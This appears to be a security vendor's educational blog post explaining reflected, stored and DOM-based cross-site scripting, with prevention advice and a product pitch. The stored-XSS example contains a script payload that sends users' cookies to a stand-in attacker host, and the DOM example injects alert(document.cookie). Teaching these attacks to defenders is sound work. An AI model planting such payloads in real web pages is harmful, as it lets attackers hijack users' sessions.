What is XSS?
Cross-site scripting is an attack performed on vulnerable web applications that manipulates the app to send malicious scripts to users. An attacker injects a malicious script into a legitimate, trusted website to access personal data of other users, control their browser, or in severe cases, control the application itself.
Attacks like these can be split into two parts:
Initialization of the Attack: The attacker sends data, most often a malicious script, through an untrusted source in a web application like a text field or a URL.
Execution of the Attack: The data is received by an unsuspecting user without being validated, and the user opens and executes it.
Cross-site scripting attacks are typically written as JavaScript segments. Even something as simple as a URL can be manipulated by attackers if not handled properly.
For example, this URL may be vulnerable if the search term is not handled correctly by the developer:
http://mycoolapp.com/search?q=amisecure
There are multiple types of XSS attacks attackers will try against a web app. Let’s dig in to these security bugs.
What types of XSS are there?
Reflected XSS Attacks
Reflected XSS attacks, also known as non-persistent XSS attacks, are considered the simplest form of XSS. In these attacks, an attacker passes a malicious script through a query, which is typically within a URL. Attackers can send this URL to unsuspecting users through anonymous emails, forums, or anonymous social media feeds.
When a user clicks on the URL, it is executed in the user’s browser. This type of attack is often used to send personal data of a user back to an attacker. This attack is very simple to exploit, which is one reason it is so popular and effective.
Example of a Reflected XSS Attack
Let’s get back to our cool app example.
http://mycoolapp.com/search?q=amisecure
Here, the user searched “amisecure”. The application returns back what the user supplied, which should look like:
<p>Search Term: amisecure</p>
Now, if the web developer does not sanitize the input, the attacker can try a reflected XSS attack that looks like this:
http://mycoolapp.com/search?q=<script>/*some malicious script*/</script>
This will output:
<p>Search Term: <script>/*some malicious script*/</script></p>
When clicked on by a user, this will run the malicious script in the browser, giving the attacker the ability to act as the user, view their information, and interact with other users.
Persistent XSS Attacks
Persistent XSS attacks, also known as stored XSS attacks, occur when an attacker identifies a vulnerability in a web application that allows for script injection. The attacker is able to inject a malicious script into the web application such that, when the webpage is visited, the personal data of the user is sent back to the attacker.
Social sharing websites are popular targets for persistent XSS attacks, as they offer an immediate entry point into the web application.
Example of a Persistent XSS Attack
Let’s get back to our cool app example. This time, the attacker is trying to launch a Persistent XSS attack from the comments section of your web app. They send the comment:
<script> window.location='http://notcoolattacker.com/?cookie='+document.cookie </script> ;
Which sends a POST request to your web app that looks like this:
POST "http://mycoolapp.com/comment", body{" <script> window.location='http://notcoolattacker.com/?cookie='+document.cookie;</script> ;”}
This is now stored on your database as a comment. When a user navigates to this webpage and attempts to review the comments, the attacker’s comment will be interpreted in the browser as a script. It will subsequently execute the script and send the user’s cookie to the attacker, which the attacker can use to masquerade as the user.
DOM-based XSS Attacks
A Document Object Model is an interface to treat an HTML document as a logical tree structure, where each node represents an object and part of the document. DOM-based XSS attacks actually write data to the DOM. Attackers can use this to add a malicious script to a webpage. DOM-based XSS attacks differ significantly from other XSS attacks.
It is difficult to defend DOM-based XSS attacks through server-side prevention, since the payload is not processed by the server. Instead, the attack is only preventable on the client side.
Example of a DOM-based XSS Attack
This time, your cool app gathers the users language based on the default, as shown in the webpage source:
Language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
When viewed from, for example, a native Swahili speaker, the URL looks like:
http://mycoolapp.com/dashboard.html?default=Swahili
And the DOM becomes:
Select your language:
<select>
<OPTION value=1>Swahili</OPTION>
<OPTION value=2>English</OPTION>
</select>
This JavaScript modifies the DOM directly with the calls to document.write. In order to take advantage of this, an attacker may inject a script instead:
http://mycoolapp.com/dashboard.html?default=<script>alert(document.cookie)</script>
When a user clicks on this link, it changes the webpage to:
Select your language:
<select>
<OPTION value=1><script>alert(document.cookie)</script></OPTION>
<OPTION value=2>English</OPTION>
</select>
In this example, the attacker fetches the user’s cookie, which the attacker can use to masquerade as the user. However, any JavaScript could be in its place.
How to Write Secure Code that Prevents XSS
Escape Untrusted HTTP Request Data
To ensure no malicious data is being passed through your application to your users, escape any untrusted data before rendering for the end user. By escaping user input, you can prevent untrusted data from being interpreted by your application in a malicious way.
Other Helpful Tips
Validate Inputs
Never assume input from outside of the system is legitimate and to be trusted. Always validate incoming data to ensure it is not malicious and cannot impact your application or your users. Input validation alone is not a complete defense against XSS attacks, but will help reduce the impact if an attacker identifies a XSS bug.
Use a Content Security Policy
Content Security Policy (CSP) is made by Mozilla and specifically designed to help prevent attacks like XSS. In order to prevent XSS bugs, CSP will restrict the domains that the browser considers a valid source of executable scripts.
Automate Testing for XSS in the Build Pipeline
The best way to avoid XSS bugs in your application is to automate testing in the pipeline. We built StackHawk to help engineering teams find and fix security bugs like XSS and more, but there are also many other tools out there depending on your use case. Bottom line, use automation to help ensure you ship code that is free from security bugs.
How Can StackHawk Help?
At this point, we hope you’ve remedied your potential XSS vulnerability with help from the fix guide above. Although most developers are security conscious, it’s hard to always ensure that all your bases are covered when it comes to security. This is where a tool like StackHawk can help to automate vulnerability detection and assist with fixes.
With StackHawk, it would have been easier to detect and fix the XSS vulnerability you just read about above. StackHawk is a dynamic application security testing (DAST) tool that can scan your running application, locally or automatically in your CI/CD pipeline, and detect these types of vulnerabilities. Then StackHawk can give developers suggestions about how to fix these vulnerabilities in the most efficient manner. If you were using StackHawk, the XSS vulnerability you found and fixed would have been detected and reported to you, along with potential fixes. Below is an actual screenshot from StackHawk where an XSS vulnerability was found within an application, along with a link to a few fix cheatsheets.
Along with detecting XSS vulnerabilities, StackHawk helps developers uncover hundreds of other types of potential vulnerabilities in their code. When you're trying to create the most secure applications you possibly can, leaning on automation as part of your application security stack is a must. Trying out StackHawk is super easy and within minutes you’ll be able to identify and address potential security issues. You can try it out today by signing up for a free account here.
Already using a security tool? StackHawk’s DAST platform is complementary to many other security tools. Many security professionals recommend various types of tools to be included in your application security stack.